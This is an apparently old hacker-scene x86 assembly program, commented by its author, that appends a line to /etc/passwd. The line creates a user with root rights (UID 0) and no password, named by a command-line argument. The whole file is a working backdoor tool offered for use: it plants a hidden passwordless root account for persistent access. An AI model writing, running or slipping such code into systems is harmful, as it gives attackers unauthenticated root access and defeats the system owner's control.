# 32 bit asm code written in at&t syntax for the x86 processors wich adds 
# an user with root rights and no password
# the user is specified as an argument from the command line
# i didn't implement error checking for the argument so if you get a 
# segfault it's because you haven't typed an argument
# i added some error checking for the open syscall, if you don't have 
# permission to open it or god knows what else it will exit with 2 
# as it's status code, it doesn't mean anything it's a random number 
# usage ./add username
# oh one last thing, you must have root rights to do this
# greets UnPlugged, kiddie, Thugking,ins1der(trixter) and #nerds@undernet
# coded by Serial Killah mail skillah@myway.com

  .section .data
str:
  .ascii "::0:0:owned:/:/bin/sh\n" # modify this as you wish
file:
  .ascii "/etc/passwd"			   # if you modify the file name be sure to aldo modify the FLENGTH constant 

  .equ FLAGS, 02001     # opens the file in WR_ONLY and APPEND mode
  .equ PERM, 0644	# file permissions
  .equ EXIT, 1		# exit syscall
  .equ WRITE, 4     	# write syscall
  .equ OPEN, 5 		# i wonder..
  .equ CLOSE, 6		# uhm what could it be
  .equ SYSCALL, 0x80	# the interrupt
  .equ FLENGTH, 11	# file length
  .section .text
  .globl _start
_start:
  # OPEN THE FILE
  movl $OPEN, %eax  	# moving the open syscall into %eax
  movl $file, %ebx	# moving the address of file into %ebx
  movl $FLAGS, %ecx	# moving the write mode into %ecx
  movl $PERM, %edx	# opening the file in u=rw,g=r,o=r mode
  int $SYSCALL		# waking up the kernel, heh

  cmpl $0, %eax		# checking to see if the open syscall worked, if not exiting with a different status
  jle error  		# jumping to error

  movl %eax, %esi	# moving the file descriptor into %esi, or the errno
  pushl 8(%esp) 	# putting the argument on the stack
  call strlen  		# calling the strlen function
  addl $4, %esp		# removing the argument from the stack

  # WRITE 8(%esp)
  movl %eax, %edx	# moving the argument length into %edx
  movl $WRITE, %eax	# moving the write syscall into %eax
  movl %esi, %ebx	# moving the file descriptor into %ebx
  movl 8(%esp), %ecx	# moving the argument into %ecx
  int $SYSCALL		# ...

  pushl $str		# putting the rest of the string on the stack
  call strlen		# again calling the strlen function
  addl $4, %esp		# bla bla

  subl $FLENGTH, %eax	# substracting the file length from str

  # WRITE $str
  movl %eax, %edx	#
  movl $WRITE, %eax	#  same as above only it's the str we are writing this time
  movl %esi, %ebx	#
  movl $str, %ecx	#
  int $SYSCALL		#

  # CLOSE 
  movl $CLOSE, %eax     # moving the close syscall into %eax
  int $SYSCALL		# %ebx already has the file descriptor so all we have to do is call the interrupt handler

  # EXIT
  movl $EXIT, %eax	# moving the exit syscall into %eax
  movl $0, %ebx		# 0 is the status code, check it by typing "echo $?"
  int $SYSCALL		# calling the interrupt handler

error:
  movl $1, %eax		# same as above
  movl $2, %ebx		# the only thing different is that we put 2 as the status code wich means an error
  int $SYSCALL		# ..

  .type strlen, @function	# declaring strlen as a function
strlen:				# adjusting it's label
  pushl %ebp			# pushing %ebp on the stack
  movl %esp, %ebp		# moving the stack pointer into %ebp
  movl 8(%ebp), %ebx		# puttin whatever it is we pushed on the stack into %ebx
  movl $0, %edi			# movingo 0 into %edi
count:				# the place where the counting really happens
  movb (%ebx,%edi,1), %al	# moving one byte at a time from %ebx into %al
  cmpb $0, %al			# checking these bytes against 0 to see if it's the end of the string
  je exit			# if it is then jump to exit
  incl %edi			# if not increment edi so we can copy the next byte
  jmp count			# and jump to count, the beginning of the loop
exit:				# exiting the function
  movl %edi, %eax		# moving the number of bytes (string length) into %eax
  movl %ebp, %esp		# moving the base pointer into %esp
  popl %ebp			# taking off into %ebp whatever is at %esp
  ret				# returning to the main stuff

